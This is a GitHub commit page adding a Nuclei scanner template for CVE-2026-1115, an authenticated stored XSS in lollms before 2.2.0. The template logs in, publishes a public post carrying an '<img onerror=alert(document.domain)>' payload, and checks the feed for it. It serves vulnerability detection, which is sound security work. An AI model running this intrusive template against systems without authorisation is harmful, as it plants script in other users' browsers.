Skip to content

Commit 810c7ce

Browse files
authored
Merge pull request #16846 from str4k3r/cve-2026-1115-ecosystem-20260812-v2
Add CVE-2026-1115 lollms authenticated stored XSS
2 parents f6797b2 + 0f58efc commit 810c7ce

1 file changed

Lines changed: 95 additions & 0 deletions

File tree

http/cves/2026/CVE-2026-1115.yaml

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
id: CVE-2026-1115
2+
3+
info:
4+
name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS
5+
author: str4k3r
6+
severity: high
7+
description: |
8+
parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
9+
impact: |
10+
Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.
11+
remediation: |
12+
Update to version 2.2.0 or later.
13+
reference:
14+
- https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a
15+
- https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa
16+
- https://nvd.nist.gov/vuln/detail/CVE-2026-1115
17+
classification:
18+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
19+
cvss-score: 9.0
20+
cve-id: CVE-2026-1115
21+
cwe-id: CWE-79
22+
metadata:
23+
verified: true
24+
max-request: 4
25+
vendor: parisneo
26+
product: lollms
27+
shodan-query: http.title:"LoLLMs"
28+
fofa-query: title="LoLLMs"
29+
tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive
30+
31+
variables:
32+
marker: "{{rand_base(8)}}"
33+
34+
flow: http(1) && http(2) && http(3) && http(4)
35+
36+
http:
37+
- raw:
38+
- |
39+
POST /api/auth/token HTTP/1.1
40+
Host: {{Hostname}}
41+
Content-Type: application/x-www-form-urlencoded
42+
43+
username={{url_encode(username)}}&password={{url_encode(password)}}
44+
45+
matchers:
46+
- type: dsl
47+
dsl:
48+
- 'status_code == 200'
49+
- 'contains(body, "access_token")'
50+
condition: and
51+
internal: true
52+
53+
extractors:
54+
- type: json
55+
name: access_token
56+
part: body
57+
internal: true
58+
json:
59+
- '.access_token'
60+
61+
- raw:
62+
- |
63+
POST /api/social/posts HTTP/1.1
64+
Host: {{Hostname}}
65+
Authorization: Bearer {{access_token}}
66+
Content-Type: application/json
67+
68+
{"content":"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>","visibility":"public","media":[]}
69+
70+
matchers:
71+
- type: dsl
72+
dsl:
73+
- 'status_code == 201'
74+
internal: true
75+
76+
extractors:
77+
- type: json
78+
name: post_id
79+
part: body
80+
internal: true
81+
json:
82+
- '.id'
83+
84+
- raw:
85+
- |
86+
GET /api/social/feed HTTP/1.1
87+
Host: {{Hostname}}
88+
Authorization: Bearer {{access_token}}
89+
90+
matchers:
91+
- type: dsl
92+
dsl:
93+
- 'status_code == 200'
94+
- 'contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")'
95+
condition: and

0 commit comments

Comments
 (0)